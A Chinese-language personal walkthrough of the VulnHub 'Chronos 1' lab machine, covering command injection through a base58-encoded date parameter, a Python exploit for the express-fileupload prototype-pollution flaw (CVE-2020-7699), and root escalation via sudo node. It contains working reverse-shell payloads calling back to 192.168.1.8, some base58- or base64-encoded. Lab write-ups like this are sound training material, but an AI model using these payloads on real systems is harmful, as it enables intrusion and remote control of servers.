background:

寒假这个月基本都是在休息,也没做啥事情。突发奇想就想做做vulnhub,以前都是看着wp做的,想试试自己独立思考的过程。现在看自己四年前vulbhub的笔记,当时都是不能知其所以然,随着后面实战项目越来越多自己的各方面能力都能得到提升。才能了解这个逻辑。

所以这次就想看看自己水平到底怎么样了,哪知道下的这个靶场是nodejs的,我第一次接触,没办法不会做的又看了wp。https://www.vulnhub.com/entry/chronos-1,735/

自己的成果

都配置好hosts解析了,一开始想试试nodejs反序列化的,后来发现了口子是base58编码,一直以为这里是nodejs格式化字符串的漏洞。需要拼接nodejs代码实现rce,没想到就是朴实无华的exec。我真没看出来,要是我能看出来那段字符串是date命令的话,也许结果就不一样了。

漏洞点

直接访问没东西 看到js了这个请求地址 所以就想到改hosts

image-20250215152748988

比较有意思的一点就是谷歌浏览器里面访问不了 得去火狐里面

image-20250215153110882

后面看了源码知道是限制了user-agent。需要是Chronos才行,我感觉应该是谷歌浏览器渲染js机制的问题。

image-20250215153234047

访问接口得到的就是时间

image-20250215153351236

解密字符串

image-20250215153412363

这里实际上执行的date命令 看到百分号我以为是格式化字符串的问题 我直接拼接nodejs的代码去了

image-20250215153438806

所以直接拼接执行命令就行了 我base64编码了一下来反弹shell

HGJDfrQRz994SAFofCozWdrsEFqARARPZWEj65fKSAR7yEuyc6ZEoyrbCi3mfzVZts25UXww25j3gHfrGeGvd4DXAeLJCDKeJ5k1pXEn4

image-20250215153719264

越权

发现有imera用户 但是读不了他的文件 所以得想办法拿到他的权限 试了暴力破解无果

image-20250215153835346

网上的教程就是直接对着文件开怼了,当然也可以,但是正常的应该是看imera用户跑了哪些程序。

ps -aux一下

image-20250215154052624

直接读/opt/chronos-v2/backend/server.js

const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});

看到这个服务跑在8080端口,我直接就上了个nps 实际上毛用也没有 多此一举

image-20250215154223576

然后就无解了 实在是看不懂nodejs 看了wp后了解到这个洞 靶机有python3环境 直接本地发包就行了

#CVE-2020-7699
#app.use(fileupload({ parseNested: true }));
import requests

cmd = 'bash -c "bash -i &> /dev/tcp/192.168.1.8/66 0>&1"'

# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://127.0.0.1:8080')

提权

拿了imera之后看下suid 可以执行node和npm

image-20250215154521431

那就无脑上了 但是这里怎么执行我也懒得查了 直接看wp了(不知道咋执行nodejs……其实也不应该 psaux里都有执行命令)

加个sudo就root了

const { execSync } = require('child_process');

try {
const output = execSync('whoami');
console.log(`ok:${output}`);
} catch (error) {
console.error(`no:${error}`);
}

image-20250215154919929

改exp弹shell即可,还要base64编码一下

const { execSync } = require('child_process');

try {
const output = execSync('echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjgvNzggMD4mMQ==|base64 -d|bash -i');
console.log(`ok:${output}`);
} catch (error) {
console.error(`no:${error}`);
}

image-20250215155432755